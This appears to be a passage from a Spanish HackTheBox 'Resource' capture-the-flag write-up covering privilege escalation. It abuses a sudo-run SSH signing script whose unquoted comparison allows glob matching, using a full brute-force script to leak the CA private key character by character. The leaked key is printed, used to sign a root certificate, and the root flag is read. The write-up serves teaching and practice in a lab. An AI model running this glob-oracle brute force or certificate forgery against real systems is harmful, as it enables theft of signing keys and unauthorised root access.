2ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgQ8Sit3OTFBWgzxB1Tb15sEcJd5phxFb7utL/mqY3xbYAAAADAQABAAABgQChF6mmqr3WE3aHoYIt3mpXAAo7w2qHWyRhcf0zHRUIwupqy3gRmZg0TeO3xr5YDkr2WPuCjHMmqb3iMl9hteC+mYyEUrrs9tgMYUIqWB/Qn9TIM3JKo3XUUojcxMw8PgKiIIsTbb7r0ysZ//D+yN/nWprlLGlsaRHVrvka8CWv08bT14NjFoyAXT2DKG+8DmoSqt6qDjQI/QpXm1LDadTqDKcBaTOcdHityt17u+T01LDEUM8fsIjTJ81U3oECXnGwVhXPFVokxpZsRL/qkp9mx6uvG+W2h5CI309kxCUSZVcDnRBg9iOSPjb9PxU74O7UtighO1RHCyxYsB5OvKAw0ExOOW4W89yMKEWfPDKEFbkI9nJO1NNgAyDR5olERSkS8T+pKwJeylHgWAs09KgjuPHW+DJkJHATWqjHPDzQLfrBC1KoZ0CSZOSzqEJ433epdKaFsBgqrqNMXhaYBBaXlez75vDLcmQvfV+7mx6Ae8zHlhQLnwEltm9/IZMcgUcAAAAAAAAALQAAAAEAAAAHenppbnRlcgAAABAAAAAMenppbnRlcl90ZW1wAAAAAGbXa6v//////////wAAAAAAAACCAAAAFXBlcm1pdC1YMTEtZm9yd2FyZGluZwAAAAAAAAAXcGVybWl0LWFnZW50LWZvcndhcmRpbmcAAAAAAAAAFnBlcm1pdC1wb3J0LWZvcndhcmRpbmcAAAAAAAAACnBlcm1pdC1wdHkAAAAAAAAADnBlcm1pdC11c2VyLXJjAAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIIHg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmxAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEALVuSlkKcxCvNUolV8RTMGb3RotMsvZM/wOzluf8pFR8VO99jaG+2d9Emq79iVRWrFS/6mUiBGPUrBKL62RqgE pointedsec@parrot

Da igual que como parámetro a nivel de comando hayamos especificado support ya que el comando por detrás se realiza con el principal hardcodeado.

Ahora si comprobamos esta clave vemos que efectivamente, tiene el principal de zzinter_temp

 1$ ssh-keygen -Lf test2 
 2test2:
 3        Type: ssh-rsa-cert-v01@openssh.com user certificate
 4        Public key: RSA-CERT SHA256:blvDbjxySkHARnbWjYq0m/wTl7qABo/8ZCMu4B+JiO0
 5        Signing CA: ED25519 SHA256:1p3yJYtPaG3wNIzooDpnzx5dFkAgHdnFVNDt7HbRpKc (using ssh-ed25519)
 6        Key ID: "zzinter"
 7        Serial: 44
 8        Valid: after 2024-09-03T22:00:55
 9        Principals: 
10                zzinter_temp
11        Critical Options: (none)
12        Extensions: 
13                permit-X11-forwarding
14                permit-agent-forwarding
15                permit-port-forwarding
16                permit-pty
17                permit-user-rc

Por lo cual ahora podemos iniciar sesión en la máquina víctima como zzinter

 1$ ssh -o CertificateFile=test2 -i pointed zzinter@ssg.htb -p 2222
 2Enter passphrase for key 'pointed': 
 3Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
 4
 5 * Documentation:  https://help.ubuntu.com
 6 * Management:     https://landscape.canonical.com
 7 * Support:        https://ubuntu.com/pro
 8
 9 System information as of Tue Sep 10 08:05:13 PM UTC 2024
10
11  System load:           0.0
12  Usage of /:            80.5% of 10.73GB
13  Memory usage:          20%
14  Swap usage:            0%
15  Processes:             236
16  Users logged in:       0
17  IPv4 address for eth0: 10.129.197.255
18  IPv6 address for eth0: dead:beef::250:56ff:fe94:c869
19
20
21Expanded Security Maintenance for Applications is not enabled.
22
230 updates can be applied immediately.
24
25Enable ESM Apps to receive additional future security updates.
26See https://ubuntu.com/esm or run: sudo pro status
27
28
29The list of available updates is more than a week old.
30To check for new updates run: sudo apt update
31Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
32
33
34Last login: Tue Sep 10 20:01:12 2024 from 10.10.14.143
35zzinter@ssg:~$ id
36uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)

Si intentamos hacer lo mismo para el principal de root

1$ ./sign.sh pointed.pub zzinter support
2{"detail":"Root access must be granted manually. See the IT admin staff."}

Esto si que está limitado por la API.

Privilege Escalation

Ahora podemos ejecutar como root el script que habíamos encontrado antes en /opt

1zzinter@ssg:/opt$ sudo -l
2Matching Defaults entries for zzinter on ssg:
3    env_reset, mail_badpass,
4    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
5    use_pty
6
7User zzinter may run the following commands on ssg:
8    (root) NOPASSWD: /opt/sign_key.sh
 1#!/bin/bash
 2
 3usage () {
 4    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
 5    exit 1
 6}
 7
 8if [ "$#" -ne 5 ]; then
 9    usage
10fi
11
12ca_file="$1"
13public_key_file="$2"
14username="$3"
15principal_str="$4"
16serial="$5"
17
18if [ ! -f "$ca_file" ]; then
19    echo "Error: CA file '$ca_file' not found."
20    usage
21fi
22
23itca=$(cat /etc/ssh/ca-it)
24ca=$(cat "$ca_file")
25if [[ $itca == $ca ]]; then
26    echo "Error: Use API for signing with this CA."
27    usage
28fi
29
30if [ ! -f "$public_key_file" ]; then
31    echo "Error: Public key file '$public_key_file' not found."
32    usage
33fi
34
35supported_principals="webserver,analytics,support,security"
36IFS=',' read -ra principal <<< "$principal_str"
37for word in "${principal[@]}"; do
38    if ! echo "$supported_principals" | grep -qw "$word"; then
39        echo "Error: '$word' is not a supported principal."
40        echo "Choose from:"
41        echo "    webserver - external web servers - webadmin user"
42        echo "    analytics - analytics team databases - analytics user"
43        echo "    support - IT support server - support user"
44        echo "    security - SOC servers - support user"
45        echo
46        usage
47    fi
48done
49
50if ! [[ $serial =~ ^[0-9]+$ ]]; then
51    echo "Error: '$serial' is not a number."
52    usage
53fi
54
55ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principal" "$public_key_file"

ChatGPT nos explica el script.

Este script Bash realiza la firma de una clave pública SSH utilizando un archivo de autoridad de certificación (CA) para generar un certificado SSH. También verifica ciertos parámetros antes de proceder con la firma. A continuación se desglosa su funcionamiento paso a paso:

1. Uso y validación de argumentos:

2. Verificación de archivos:

3. Verificación de clave pública:

4. Validación de principales:

5. Verificación del número de serie:

6. Firma de la clave pública:

Resumen:

Este script firma una clave pública SSH utilizando una clave privada de autoridad de certificación (CA). Verifica que los principales sean válidos, que el archivo CA no sea uno reservado para un proceso de firma basado en API y que el número de serie sea un número válido. Si todas las validaciones son correctas, genera un certificado SSH firmado con la clave pública y lo asocia con un conjunto de principales y un número de serie.

Ahora vamos a ponernos en situación. El problema de este script viene en la comparación.

1itca=$(cat /etc/ssh/ca-it)                                                                
2ca=$(cat "$ca_file")                                                                      
3if [[ $itca == $ca ]]; then                                                               
4    echo "Error: Use API for signing with this CA."                                       
5    usage                                                                                 
6fi 

Ya que carga los contenidos podemos hacer uso de globbing para explotar el script y conseguir la clave de la CA original. Esto significaría que al tener la clave de la CA podemos firmar nosotros mismos una clave pública con el principal de root y escalar privilegios.

Concepto de Globbing en Bash

El globbing es una característica en Bash que expande los patrones de archivo (como * y ?) a nombres de archivo que coinciden con esos patrones. Si el script usa globbing de manera insegura, puedes aprovecharlo para exponer el contenido del archivo en partes.

Con un ejemplo se verá mejor. Podemos usar el script para firmar correctamente una clave pública con nuestra clave privada.

1zzinter@ssg:~$ sudo /opt/sign_key.sh ca-itrc pointed.pub root support 2
2Signed user key pointed-cert.pub: id "root" serial 2 for support valid after 2024-09-03T20:24:46

Esto significa que nuestra clave privada no es la misma que la del servidor del cual queremos su clave, esto es obvio.

Ahora podemos crear un archivo test con contenido test y lanzar el script con este archivo como clave privada.

1zzinter@ssg:~$ cat test 
2test

Como no se verifica que la clave sea válida, va a llegar a la comparación, la va a pasar porque test no es lo mismo al contenido de la CA que queremos obtener y dará un error al intentar firmar la clave porque no es una clave privada válida.

1zzinter@ssg:~$ sudo /opt/sign_key.sh test pointed.pub root support 2
2Load key "test": error in libcrypto

Pero y si el contenido de test fuera -*

1zzinter@ssg:~$ cat test 
2-*

Esto significaría que el script compara -* que se resuelve en lo que sea que empiece por el carácter - con la clave privada que empieza por una cabecera -----BEGIN OPENSSH PRIVATE KEY-----, por lo cual la comparación sería válida y podríamos afirmar que la clave privada de la CA empieza por -

1zzinter@ssg:~$ sudo /opt/sign_key.sh test pointed.pub root support 2
2Error: Use API for signing with this CA.
3Usage: /opt/sign_key.sh <ca_file> <public_key_file> <username> <principal> <serial>

Y efectivamente, esto funciona. Por lo cual podemos hacer un script que vaya iterando por todos los caracteres mayúsculas, minúsculas, numéricos y caracteres especiales para ir descubriendo la clave de la CA carácter por carácter.

Este el el script.

 1#!/bin/bash
 2
 3# Lista de caracteres válidos (incluyendo los que forman las claves privadas y un espacio para saltos de línea)
 4characters='-ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+=/ ?'
 5found_key=""
 6
 7# Crear o vaciar el archivo pwn
 8> pwn
 9
10# Función para probar combinaciones de caracteres
11test_combination() {
12    local prefix="$1"
13    local suffix="$2"
14
15    # Iterar sobre cada carácter en la lista
16    for (( i=0; i<${#characters}; i++ )); do
17        char="${characters:$i:1}"
18
19        # Reemplazar el espacio por un salto de línea en caso de ser necesario
20        if [ "$char" = "?" ]; then
21            char=$'\n'
22        fi
23
24        # Crear la combinación de caracteres
25        echo -n "$prefix$char$suffix*" > pwn
26
27        # Ejecutar el comando con el archivo pwn
28        sudo /opt/sign_key.sh pwn pointed.pub root support 2 > /dev/null 2>&1
29
30        # Verificar el resultado del comando
31        if [ $? -eq 1 ]; then
32            echo "Encontrado carácter: $found_key$char"
33            found_key="$found_key$char"
34            # Llamar a la función de nuevo para continuar con el siguiente carácter
35            test_combination "$prefix$char" ""
36            return
37        fi
38    done
39}
40
41# Iniciar el proceso con combinaciones de un solo carácter
42test_combination "" "*"
43
44# Limpiar el archivo pwn
45rm pwn
46
47echo "Clave privada descubierta: "
48echo "$found_key"

Y si lo ejecutamos y lo dejamos un rato conseguimos la clave privada de la CA.

 1zzinter@ssg:~$ ./brute.sh
 2.............
 3Clave privada descubierta: 
 4-----BEGIN OPENSSH PRIVATE KEY-----
 5b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
 6QyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZc
 7rAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQ
 8AAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgA
 9cW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSV
10QBAgM=
11-----END OPENSSH PRIVATE KEY-----

Ahora recordemos que el principal de root es root_user

1zzinter@ssg:~$ cat /etc/ssh/auth_principals/root 
2root_user

Ahora podemos firmar nuestra clave pública con la clave de la CA que hemos dumpeado.

1$ ssh-keygen -s cakey -n root_user -I root_user pointed.pub 
2Signed user key pointed-cert.pub: id "root_user" serial 0 for root_user valid forever

Y vemos que tiene el principal que queremos.

 1$ ssh-keygen -Lf pointed-cert.pub 
 2pointed-cert.pub:
 3        Type: ssh-rsa-cert-v01@openssh.com user certificate
 4        Public key: RSA-CERT SHA256:blvDbjxySkHARnbWjYq0m/wTl7qABo/8ZCMu4B+JiO0
 5        Signing CA: ED25519 SHA256:1p3yJYtPaG3wNIzooDpnzx5dFkAgHdnFVNDt7HbRpKc (using ssh-ed25519)
 6        Key ID: "root_user"
 7        Serial: 0
 8        Valid: forever
 9        Principals: 
10                root_user
11        Critical Options: (none)
12        Extensions: 
13                permit-X11-forwarding
14                permit-agent-forwarding
15                permit-port-forwarding
16                permit-pty
17                permit-user-rc

Y ya podemos acceder a la máquina víctima como el usuario root

 1$ ssh -o CertificateFile=pointed-cert.pub -i pointed root@ssg.htb -p 2222
 2Enter passphrase for key 'pointed': 
 3Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
 4
 5 * Documentation:  https://help.ubuntu.com
 6 * Management:     https://landscape.canonical.com
 7 * Support:        https://ubuntu.com/pro
 8
 9 System information as of Tue Sep 10 09:26:54 PM UTC 2024
10
11  System load:           0.08
12  Usage of /:            90.0% of 10.73GB
13  Memory usage:          20%
14  Swap usage:            0%
15  Processes:             243
16  Users logged in:       1
17  IPv4 address for eth0: 10.129.197.255
18  IPv6 address for eth0: dead:beef::250:56ff:fe94:c869
19
20  => / is using 90.0% of 10.73GB
21
22
23Expanded Security Maintenance for Applications is not enabled.
24
250 updates can be applied immediately.
26
27Enable ESM Apps to receive additional future security updates.
28See https://ubuntu.com/esm or run: sudo pro status
29
30
31The list of available updates is more than a week old.
32To check for new updates run: sudo apt update
33Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
34
35
36root@ssg:~# id
37uid=0(root) gid=0(root) groups=0(root)

Y leer la flag.

1root@ssg:~# cat root.txt 
22b0a8753495825a9e...

Happy Hacking! 🚀

#HackTheBox   #Resource   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #XSS   #Stored XSS   #Web Fuzzing   #Local File Inclusion   #Insecure Direct Object Reference   #Abusing ThinkPHP   #Docker Breakout   #Information Disclosure   #User Pivoting   #Abusing CA   #Creating Custom Certificate   #Abusing API   #Abusing Bash Script   #Abusing Sudo Privileges   #Abusing Bash Globbing   #Scripting   #Bash Scripting